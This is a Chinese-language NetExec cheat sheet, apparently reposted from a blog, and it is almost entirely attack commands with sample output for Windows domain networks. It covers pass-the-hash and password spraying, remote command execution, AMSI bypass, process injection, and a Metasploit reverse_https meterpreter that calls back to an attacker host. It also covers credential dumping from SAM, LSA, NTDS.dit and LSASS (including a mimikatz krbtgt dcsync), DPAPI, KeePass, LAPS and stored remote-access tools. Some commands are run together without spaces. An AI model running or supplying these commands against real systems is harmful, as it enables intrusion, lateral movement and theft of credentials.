代码执行会导致在登录确认后添加 (Pwn3d!)。使用 SMB 协议时,认证成功的用户很可能位于本地管理员组中。
SMB 192.168.1.101 445 HOSTNAME [+] DOMAIN\Username:Password (Pwn3d!)
PS:如果 NTLM 身份验证不可用,则 Kerberos 需要主机名和域名,而不是 IP 地址。
使用密码认证
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'
使用ntlm hash认证
nxc smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
nxc smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
nxc smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'本地用户认证
使用--local-auth参数进行本地密码认证
nxc smb 192.168.1.0/24-u UserNAme-p 'PASSWORDHERE'--local-auth
nxc smb 192.168.1.0/24-u ''-p ''--local-auth
nxc smb 192.168.1.0/24-u UserNAme-H 'LM:NT'--local-auth
nxc smb 192.168.1.0/24-u UserNAme-H 'NTHASH'--local-auth
nxc smb 192.168.1.0/24-u localguy -H '13b29964cc2480b4ef454c59562e675c'--local-auth
nxc smb 192.168.1.0/24-u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'--local-auth委派认证
基于资源的约束委派 (RBCD)
如果有一个对象,其 msDS-AllowedToActOnBehalfOfOtherIdentity 属性设置为你控制的帐户,则可以使用 NetExec 中的 impersonate 标志自动执行基于资源的约束委派并模拟任何用户:
nxc smb 192.168.56.11 -u jon.snow -p iknownothing --delegate Administrator

S4U2Self
如果有计算机帐户,哪么就可以(几乎)使用 s4u2self 获得本地管理员:
nxc smb 192.168.56.10 -u 'KINGSLANDING$' -H 220fc1990391bdc183d1a68c389c0229 --delegate Administrator --self

命令执行
远程命令执行
执行方法
netexec有多种不同的命令执行方法:
• wmiexec 通过 WMI 执行命令
• atexec 通过使用 Windows Task Scheduler 调度任务来执行命令
• smbexec 通过创建和运行服务来执行命令
默认情况下,如果一个执行方法失败,nxc 将故障转移到不同的执行方法。它尝试按以下顺序执行命令:
1. wmiexec
2. atexec
3. smbexec如果要强制 nxc 仅使用一种执行方法,可以使用--exec-method指定哪一种执行方法。
执行命令
使用-x在目标上执行 whoami:
nxc smb 192.168.10.11-u Administrator-p 'P@ssw0rd'-x whoami
06-05-201614:34:35 nxc 192.168.10.11:445 WIN7BOX [*]Windows6.1Build7601(name:WIN7BOX)(domain:LAB)
06-05-201614:34:35 nxc 192.168.10.11:445 WIN7BOX [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-201614:34:39 nxc 192.168.10.11:445 WIN7BOX [+]Executed command
06-05-201614:34:39 nxc 192.168.10.11:445 WIN7BOX lab\administrator
06-05-201614:34:39[*] KTHXBYE!使用-X直接执行 PowerShell 命令:
nxc smb 192.168.10.11-u Administrator-p 'P@ssw0rd'-X '$PSVersionTable'
06-05-201614:36:06 nxc 192.168.10.11:445 WIN7BOX [*]Windows6.1Build7601(name:WIN7BOX)(domain:LAB)
06-05-201614:36:06 nxc 192.168.10.11:445 WIN7BOX [+] LAB\Administrator:P@ssw0rd (Pwn3d!)
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX [+]Executed command
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX NameValue
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX ---------
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX CLRVersion2.0.50727.5420
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX BuildVersion6.1.7601.17514
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX PSVersion2.0
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX WSManStackVersion2.0
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX PSCompatibleVersions{1.0,2.0}
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX SerializationVersion1.1.0.1
06-05-201614:36:10 nxc 192.168.10.11:445 WIN7BOX PSRemotingProtocolVersion2.1
06-05-201614:36:10[*] KTHXBYE!Bypass AMSI
nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' --amsi-bypass /path/payload
进程注入(需要足够高的权限)
NetExec <IP> -u username -p password -M pi -o PID=<target_process_pid> EXEC=<command>
获取交互式shell
用Invoke-MetasploitPayload中Invoke-MetasploitPayload.ps1的metinject模块启动一个meterpreter
在 Metasploit 实例上,运行以下命令
use exploit/multi/script/web_delivery
SRVHOST 和 SRVPORT 变量用于运行 Web 服务器以托管脚本
set SRVHOST 10.211.55
set SRVPORT 8443target 变量决定了我们使用的脚本类型。2 表示 PowerShell
set target 2
使用反向 https meterpreter 有效负载
set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443检查完后
run -j
运行后,web_delivery 模块将启动 Web 服务器来托管 meterpreter 会话的脚本和反向监听。
msf exploit(web_delivery) > run -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.然后只需运行 met_inject 模块并指定 LHOST 和 LPORT 值:
NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http
共享爬虫
使用默认参数--spider
用于爬取远程系统共享的选项。示例,对名称中包含 txt 的文件的 C 盘进行爬虫(查找 sometxtfile.html 和 somefile.txt)
PS:必须对 '$' 字符进行转义
nxc SMB <IP> -u USER -p PASSWORD --spider C\$ --pattern txt
使用参数spider_plus
列出所有可读文件
nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus
导出文件
nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=True
文件上传下载
文件上传到远程服务器
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
远程服务器文件下载到本地
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
凭证提取
Dump SAM
使用 secretsdump.py 中的方法转储 SAM 哈希
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam
Dump LSA
需要目标域控制器上的域管理员或本地管理员权限
nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --lsa
如果在结果中发现
SC_GMSA{84A78B8C-56EE-465b-8496-FFB35A1B52A7}哪么就可以获取下面的账户
nxc ldap <ip> -u <user> -p <pass> --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
nxc ldap <ip> -u <user> -p <pass> --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'Dump NTDS.dit
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds --users
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds --users --enabled
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds vssDump LSASS
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.255.131 -u administrator -p pass -M lsassy
nxc smb 192.168.255.131 -u administrator -p pass -M nanodump
nxc smb 192.168.255.131 -u administrator -p pass -M mimikatz
nxc smb 192.168.255.131 -u Administrator -p pass -M mimikatz -o COMMAND='"lsadump::dcsync /domain:domain.local /user:krbtgt"Dump DPAPI
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb <ip> -u user -p password --dpapi
nxc smb <ip> -u user -p password --dpapi cookies
nxc smb <ip> -u user -p password --dpapi nosystem
nxc smb <ip> -u user -p password --local-auth --dpapi nosystemDump SCCM
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --sccm
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --sccm disk
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --sccm wmiDump WIFI password
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb <ip> -u user -p pass -M wifi
nxc smb <ip> -u user -p pass -M wifi --local-auth Dump KeePass(密码管理器)
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
NetExec smb <ip> -u user -p pass -M keepass_discover
NetExec smb <ip> -u user -p pass -M keepass_trigger -o KEEPASS_CONFIG_PATH="path_from_module_discovery"Dump Veeam
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.56.22 -u eddard.stark -p FightP3aceAndHonor! -M veeam
Dump WinSCP
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.56.24 -u eddard.stark -p FightP3aceAndHonor! -M winscp
Dump PuTTY
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor!
Dump VNC
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! -M vnc
Dump mRemoteNG
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! -M mremoteng
Dump Remote Desktop Credential Manager
至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项
--local-auth
nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! -M rdcman
LAPS防护绕过
nxc smb <ip> -u user-can-read-laps -p pass --laps
检查Spooler和WebDav
nxc smb <ip> -u 'user' -p 'pass' -M spooler
nxc smb <ip> -u 'user' -p 'pass' -M webdav窃取 Microsoft Teams Cookie
nxc smb <ip> -u user -p pass -M teams_localdb
LDAP协议详解
Authentication(身份认证)
测试账户是否存在 Kerberos 协议
nxc ldap 192.168.1.0/24 -u users.txt -p '' -k
使用凭证进行认证
nxc ldap 192.168.1.0/24 -u user -p password
nxc ldap 192.168.1.0/24 -u user -H A29F7623FD11550DEF0192DE9246F46B示例输出
LDAP 192.168.255.131 5985 ROGER [+] GOLD\user:password
默认情况下,ldap 协议将通过连接到 SMB 共享(dc 的)来获取域名,如果您不想要该初始连接,只需添加--no-smb参数
枚举用户
nxc ldap $ip -u $user -p $password --users
nxc ldap $ip -u $user -p $password --active-users枚举用户组
通过 LDAP 枚举特定组中的所有成员:
nxc ldap $ip -u $user -p $password -M group-mem -o GROUP="Domain Admins"
查找域SID
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid
LDAP DC1.scrm.local 389 DC1.scrm.local [*] x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
LDAPS DC1.scrm.local 636 DC1.scrm.local [+] scrm.local\sqlsvc
LDAPS DC1.scrm.local 636 DC1.scrm.local Domain SID S-1-5-21-2743207045-1827831105-2542523200查找DC
nxc ldap <ip> -u user -p pass --dc-list
WINRM协议详解
密码喷射
//一对一,不进行爆破
nxc winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
//排列组合
nxc winrm 192.168.1.0/24 -u userfile -p passwordfile --continue-on-successAuthentication(身份认证)
nxc winrm 192.168.1.0/24 -u user -p password
输出示例如下:
WINRM 192.168.255.131 5985 ROGER [*] http://192.168.255.131:5985/wsman
WINRM 192.168.255.131 5985 ROGER [+] GOLD\user:password (Pwn3d!)如果 SMB 端口已关闭,哪么可以使用-d DOMAIN来避免 SMB 连接
nxc winrm 192.168.1.0/24 -u user -p password -d DOMAIN
输出示例如下:
WINRM 192.168.255.131 5985 192.168.255.131 [*] http://192.168.255.131:5985/wsman
WINRM 192.168.255.131 5985 192.168.255.131 [+] GOLD\user:password (Pwn3d!)命令执行
#~ nxc winrm 192.168.255.131 -u user -p 'password' -X whoami
WINRM 192.168.255.131 5985 ROGER [*] http://192.168.255.131:5985/wsman
WINRM 192.168.255.131 5985 ROGER [+] GOLD\user:password (Pwn3d!)
WINRM 192.168.255.131 5985 ROGER [+] Executed command
WINRM 192.168.255.131 5985 ROGER gold\userLAPS绕过
如果域内部使用 LAPS,则很难使用 NetExec 在域上的每台计算机上执行命令。
因此,添加了一个新的核心选项 --laps !如果入侵了可以读取 LAPS 密码的帐户,哪么可以像这样使用 NetExec
NetExec winrm <ip> -u user-can-read-laps -p pass --laps
MSSQL协议详解
密码喷射
#~ nxc mssql 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ nxc mssql 192.168.1.0/24 -u userfile -p passwordfile--continue-on-successAuthentication(身份认证)
可以使用两种方法对 MSSQL 进行身份验证:windows 或本地(默认:windows)。要使用本地身份验证,请添加--local-auth
Windows auth
如果SMB端口开放
#~ nxc mssql 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'
如果SMB端口关闭,使用-d DOMAIN
#~ nxc mssql 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!' -d HTB
认证输出示例
MSSQL 10.10.10.52 1433 MANTIS [+] HTB\james:J@m3s_P@ssW0rd!
Local auth
#~ nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --local-auth
输出示例
MSSQL 10.10.10.52 1433 None [+] admin:m$$ql_S@_P@ssW0rd! (Pwn3d!)
指定认证端口
#~ nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --port 1434
权限提升
一般认证
NetExec mssql <ip> -u user -p password
MSSQL <ip> 1433 FQDN [*] Windows 10 / Server 2019 Build 17763 (name:FQDN) (domain:FQDN.local)
MSSQL <ip> 1433 FQDN [+] FQDN\user:password加载权限提升模块
NetExec mssql <ip>-u user -p password -M mssql_priv
MSSQL <ip>1433 FQDN [*]Windows10/Server2019Build17763(name:FQDN)(domain:FQDN.local)
MSSQL <ip>1433 FQDN [+] FQDN\user:password
MSSQL_PRIV <ip>1433 FQDN [+] FQDN\user can impersonate: sa (sysadmin)检测提升后的权限
NetExec mssql <ip>-u user -p password -M mssql_priv -o ACTION=privesc
MSSQL <ip>1433 FQDN [*]Windows10/Server2019Build17763(name:FQDN)(domain:FQDN.local)
MSSQL <ip>1433 FQDN [+] FQDN\user:password
MSSQL_PRIV <ip>1433 FQDN [+] FQDN\user can impersonate: sa (sysadmin)
MSSQL_PRIV <ip>1433 FQDN [+] FQDN\user is now a sysadmin!(Pwn3d!)回滚到原始权限
NetExec mssql <ip>-u user -p password -M mssql_priv -o ACTION=rollback
MSSQL <ip>1433 FQDN [*]Windows10/Server2019Build17763(name:FQDN)(domain:FQDN.local)
MSSQL <ip>1433 FQDN [+] FQDN\user:password (Pwn3d!)
MSSQL_PRIV <ip>1433 FQDN [+] sysadmin role removed命令执行
执行mssql的命令
nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
输出示例
MSSQL 10.10.10.521433None[+] admin:m$$ql_S@_P@ssW0rd!(Pwn3d!)
MSSQL 10.10.10.521433None name
MSSQL 10.10.10.521433None--------------------------------------------------------------------------------------------------------------------------------
MSSQL 10.10.10.521433None master
MSSQL 10.10.10.521433None tempdb
MSSQL 10.10.10.521433None model
MSSQL 10.10.10.521433None msdb
MSSQL 10.10.10.521433None orcharddb文件的上传下载
上传文件
nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --put-file --put-file /tmp/users C:\\Windows\\Temp\\whoami.txt
输出示例
$ poetry run NetExec mssql 192.168.212.134-u administrator -p October2022--put-file /tmp/users C:\\Windows\\Temp\\whoami.txt
MSSQL 192.168.212.1341433 DC01 [*]Windows10.0Build20348(name:DC01)(domain:poudlard.wizard)
MSSQL 192.168.212.1341433 DC01 [+] poudlard.wizard\administrator:October2022(Pwn3d!)
MSSQL 192.168.212.1341433 DC01 [*]Copy/tmp/users to C:\Windows\Temp\whoami.txt
MSSQL 192.168.212.1341433 DC01 [*]Sizeis23 bytes
MSSQL 192.168.212.1341433 DC01 [+]File has been uploaded on the remote machine下载文件
nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --get-file C:\\Windows\\Temp\\whoami.txt /tmp/file
输出示例
$ poetry run NetExec mssql 192.168.212.134-u administrator -p October2022--get-file C:\\Windows\\Temp\\whoami.txt /tmp/users-t
MSSQL 192.168.212.1341433 DC01 [*]Windows10.0Build20348(name:DC01)(domain:poudlard.wizard)
MSSQL 192.168.212.1341433 DC01 [+] poudlard.wizard\administrator:October2022(Pwn3d!)
MSSQL 192.168.212.1341433 DC01 [*]Copy C:\Windows\Temp\whoami.txt to /tmp/users-t
MSSQL 192.168.212.1341433 DC01 [+]File C:\Windows\Temp\whoami.txt was transferred to /tmp/users-t执行xp_cmdshell
#~ nxc mssql 10.10.10.59 -u sa -p 'GWE3V65#6KFH93@4GWTG2G' --local-auth -x whoami
MSSQL 10.10.10.591433None[+] sa:GWE3V65#6KFH93@4GWTG2G (Pwn3d!)
MSSQL 10.10.10.591433None[+]Executed command via mssqlexec
MSSQL 10.10.10.591433None--------------------------------------------------------------------------------
MSSQL 10.10.10.591433None tally\sarahSSH协议详解
密码喷射
#~ nxc ssh 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ nxc ssh 192.168.1.0/24 -u userfile -p passwordfile --continue-on-successAuthentication(身份认证)
#~ nxc ssh 192.168.1.0/24 -u user -p password
输出示例
SSH 127.0.0.1 22 127.0.0.1 [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
SSH 127.0.0.1 22 127.0.0.1 [+] user:password指定认证端口
#~ nxc http 192.168.1.0/24 --port 2222
命令执行
#~ nxc ssh 127.0.0.1 -u user -p password -x whoami
SSH 127.0.0.122127.0.0.1[*] SSH-2.0-OpenSSH_8.2p1Debian-4
SSH 127.0.0.122127.0.0.1[+] user:password
SSH 127.0.0.122127.0.0.1[+]Executed command
SSH 127.0.0.122127.0.0.1 user FTP协议详解
密码喷射
#~ nxc ftp 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ nxc ftp 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success查看文件列表
nxc ftp 192.168.0.10-u 'marshall'-p 'badpassword'--ls
FTP 192.168.0.1021192.168.0.10[*]Banner:(vsFTPd 3.0.5)
FTP 192.168.0.1021192.168.0.10[+] marshall:badpassword
FTP 192.168.0.1021192.168.0.10[*]DirectoryListing
FTP 192.168.0.1021192.168.0.10 drwxr-xr-x 2100010004096Sep3017:29Desktop
FTP 192.168.0.1021192.168.0.10 drwxr-xr-x 2100010004096Aug282022Documents
FTP 192.168.0.1021192.168.0.10 drwxr-xr-x 2100010004096Jul1323:42Downloads
FTP 192.168.0.1021192.168.0.10 drwxr-xr-x 2100010004096Aug282022Music
FTP 192.168.0.1021192.168.0.10 drwxr-xr-x 2100010004096Aug282022Pictures
FTP 192.168.0.1021192.168.0.10 drwxr-xr-x 2100010004096Aug282022Public
FTP 192.168.0.1021192.168.0.10 drwxr-xr-x 2100010004096Aug282022Templates
FTP 192.168.0.1021192.168.0.10 drwxr-xr-x 2100010004096Aug282022Videos
FTP 192.168.0.1021192.168.0.10 drwx------4100010004096Aug282022 snap文件上传下载
上传
netexec ftp [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] --put [LOCAL_FILE] [REMOTE_FILE]
输出示例
netexec ftp 10.10.176.246-u frank -p D2xc9CgD --put test.txt test.txt
FTP 10.10.176.2462110.10.176.246[*]Banner:(vsFTPd 3.0.3)
FTP 10.10.176.2462110.10.176.246[+] frank:D2xc9CgD
FTP 10.10.176.2462110.10.176.246[-]Failed to upload file.Response:(550Permission denied.)下载
netexec ftp [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] --get [FILE]
输出示例
netexec ftp 10.10.176.246-u frank -p D2xc9CgD --get ftp_flag.thm
FTP 10.10.176.2462110.10.176.246[*]Banner:(vsFTPd 3.0.3)
FTP 10.10.176.2462110.10.176.246[+] frank:D2xc9CgD
FTP 10.10.176.2462110.10.176.246[+]Downloaded: ftp_flag.thmRDP协议详解
密码喷射
#~ nxc rdp 192.168.1.0/24 -u user -p password
示例
$ nxc rdp 192.168.133.157-u ron -p October2021
RDP 192.168.133.1573389 DC01 [*]Windows10orWindowsServer2016Build17763(name:DC01)(domain:poudlard.wizard)
RDP 192.168.133.1573389 DC01 [-] poudlard.wizard\ron:October2021
$ nxc rdp 192.168.133.157-u rubeus -p October2021
RDP 192.168.133.1573389 DC01 [*]Windows10orWindowsServer2016Build17763(name:DC01)(domain:poudlard.wizard)
RDP 192.168.133.1573389 DC01 [+] poudlard.wizard\rubeus:October2021(Pwn3d!)#~ poetry run NetExec rdp 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ poetry run NetExec rdp 192.168.1.0/24 -u userfile -p passwordfile --continue-on-successRDP屏幕截图
NetExec rdp <ip> -u <user> -p <password> --screenshot --screentime <second>
WMI协议详解
密码喷射
#~ nxc wmi 192.168.1.0/24 -u userfile -p passwordfile
#~ nxc wmi 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
#~ nxc wmi 192.168.1.0/24 -u userfile -p passwordfile --continue-on-successAuthentication(身份认证)
对于WMI来说,有两种认证方式:windows or local (default: windows),如果是本地认证需要添加参数--local-auth
Windows auth
SMB端口开放
#~ nxc wmi 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'
SMB端口关闭,使用参数-d DOMAIN
#~ nxc wmi 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!' -d HTB
输出示例
WMI 10.10.10.52 1433 MANTIS [+] HTB\james:J@m3s_P@ssW0rd!
Local auth
#~ nxc wmi 10.10.10.52 -u admin -p 'admin' --local-auth
本文链接:https://kinber.cn/post/3936.html 转载需授权!
推荐本站淘宝优惠价购买喜欢的宝贝:

支付宝微信扫一扫,打赏作者吧~
